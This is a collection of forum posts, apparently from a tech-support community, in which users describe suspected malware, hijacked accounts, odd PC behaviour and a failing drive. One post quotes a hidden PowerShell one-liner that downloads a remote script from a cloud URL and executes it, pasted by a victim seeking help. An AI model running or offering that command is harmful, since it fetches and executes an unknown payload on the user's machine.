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Do i have virus ? My pc is been lil slow and storage filling up fast, i have ran malwarebytes scan multiple times and nothing came upðŸ˜
https://github.com/New-Club-Penguin/NewCP-App-Build/releases/tag/v1.6.1 (link to github)
On triage the app for New Club Penguin gave me a 7/10 (not good) and virustotal had 2 antiviruses flag it
I really want to play it but if it's not safe at least we'll all know
As the title says. I was trying to download something from a website when a pop-up came up because I had forgotten to enable UBlock Origin. I got confused and thought the pop-up was what I was trying to download, so I downloaded it. I didn’t realize what had happened until after it already finished downloading. I made sure to delete the file through app control, and Windows defender says that my computer is clean, but I’m not so sure. Is there a way to find out if my computer has a virus without having to spend money for the premium of any antivirus services, ‘cause I’m kind of tight on cash right now.
I woke up yesterday and saw some of my accounts including my microsofts email and pass was changed. i immediently changed all the passwords i did have and changed the emails with the microsoft email. I checked today and saw nothing was tampered anymore and my malware bytes detected no trojans or anything. But i was still scared so i reset my pc. should i be safe from any viruses?
Context: Recently I started using my grandma’s old Acer laptop that runs on Windows 7. We’re pretty sure that it had a virus installed, but we don’t know what, or how it was installed, so I took off the old family photos, put them on a pen drive, and reset it to factory settings. I’ve then been using it to do my own stuff, including playing games installed off of Game Jolt like Undertale Yellow and FNAF, and modding my 3DS. Both of these obviously entailed installing files from the internet, but I felt that it was from reputable sources.
The Problem: Yesterday, I heard crunching noises, like someone was eating. I was confused at first, but then realised it was coming from the laptop. I’d just closed down FNAF Pizzeria Simulator, so I had a partial feeling that it was just an Easter egg, or the game playing tricks, but nothing was open. I immediately shut down the computer and turned it back on, and nothing else happened. I thought nothing of it, until just recently, where, after being given a blue screen error (the second one I’ve gotten. The laptop is really old though, and I feel like it was about to overheat anyway, so it could’ve been that), the laptop restarted and turned back on; I then begin to hear a noise playing that is exactly the same as when Mario enters a pipe in 3D World, with another noise after I’m not sure how to describe, playing over and over. Again, I immediately turn off the laptop and turn it back on again, with no more noises or problems. I’ve just run a scan, and it tells me nothing is wrong (then again, Windows 7 is a little useless at times), but evidently there is.
Conclusion: WHAT THE FUCK IS HAPPENING??? I know it might sound like I’m making this shit up, but I swear I’m not. I’ve searched it up and can’t find anything. Please, if anyone has a clue what could possibly be going on, what the cause is, and/or how to fix it, let me know. And if you need any more information, ask and I’ll do my best to answer
Since one week my computer is showing a strange behavior. At some point it will start to move the cursor and make commands without me touching the mouse or the keyboard, becoming unmanageable. I was wondering if it is due to a virus managing it, even thought the movement seem to be not in line with a human behavior trying to steal data from me.
Thanks in advance
I accidentally ran a powershell code following the steps from a possibly malicious website. I am not sure what is the damage that has been done to my PC.
I did notice that a threat was detected and blocked by windows defender after I ran the code.
I have since done a full scan with windows defender and malwarebytes to remove any possible viruses but I'm not sure if the threat still remains on my system.
Would appreciate if anyone has any advice on what I need to do next.
Code copied from malicious website:powershell.exe -W Hidden -command $url = 'https://zip-store.oss-ap-southeast-1.aliyuncs.com/v2-sep-baba.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
Screenshot from malicious website:
I have no experience with this and my windows antivirus didn't find anything but I know something is wrong
yeah basically when i check task manager its 100% cpu even with 2 apps open (brave with 1 tab open and task manager) then after some time cpu usage goes down to like 66%, could this be a miner? if so how do i find it and get rid of this shit
I accidentally clicked a pop-up ad which opened my browser and redirected me to a shady looking site. I closed it fast, but the next time I opened chrome there was a banner at the bottom like something was downloaded. I cant be sure because I only saw it for a second.
I looked on chrome and my file manager but could find no downloads, apk files or new apps. I cleared my cache and data on chrome, then installed avg antivirus and scanned my phone which found nothing. I have play protect and safe search and everything was up to date. Should I be worried or am I okay?
Hey guys, I have just niticed that the green camera dot is appearing frequently on my iPhone SE2020 model. Even on the lock screen. No there is no face unlock option so cam shouldn’t be used. So I tried using malwarebytes, bitfender but no results. Almost all the best available apps are off the limits to scan apps or files. Suggestions are welcome!
I can't open the file location i just disabled all of them
Help with External HDD
So I’ve been using my external Seagate 2TB HDD for about an year or so and it’s never had any issues.
I’ve shared it with many of my friends for games and stuffs, but have had no issues
Recently I used my HDD in my friend’s laptop to watch movies(I’ve already used my HDD in that laptop before)
And afterwards when I tried to connect it to my laptop, it started showing that there was something wrong with my disk- which honestly I’ve seen it many times with my previous USBs and still scanned it to be safe.
But the issue did not solve at all, that’s where it started
It asked for repairs and I did almost everything ,then it asked me to restart to repair which I’ve done as well
I tried three times - One for 8-10 hours resulting in 7% Two for 15-20 hours resulting in 12% Third for 15 hours or so (but I did this with the CHKDSK command in cmd) and resulted in 13% but it stopped saying there was something wrong error
Everytime it showed the remaining time as like 100+hours
I have games, movies, and few software application(windows image, google setup etc) which I’ve had for many months and I also have IMAGES AND VIDEOS
That’s the only issue I can install games anytime after , so I don’t mind losing it all
The only issue I have with me is the IMAGES AND VIDEOS that I uploaded from my phone with too much difficulty cause it was an IOS phone
I really really need the pictures and videos cause it holds too many memories with friends, family, practically all of my college life
And it’s really really important with me
I’d have formatted it if not for those
Can anyone please please please help me at least recover those
Please help meðŸ˜
I really need all those
I can still access my movies and even watch it from that after like some lags for few minutes and my laptop hanging for some time and stuff
But I can access it
Even the pic and maybe even videos but I can’t even move it cause it’s like 600-700 GB worth and my laptop is a 512SSD
Please someone help me Please help
Chilling on my pc until windows defender says it found a virus called "Lualogger.exe" but has been deleted. Didn't download anything related to that. Just happened. I'm 100% sure it came from a program I have. What should i do? Running a full scan rn.
idk if this is a good subreddit for this matter but ig ill just post it here
heres a image, i have searched on google for it but i have not seen anything explaining what this is
Accidentally downloaded a software called Get Fast! it was a popup on another site i was downloading from (Hardware Info). I noticed when i searched in Chrome it kept defaulting to Yahoo. I just did a fresh install of windows and everything looks okay so far. Anything i should look out for? or has anyone had experience with this one?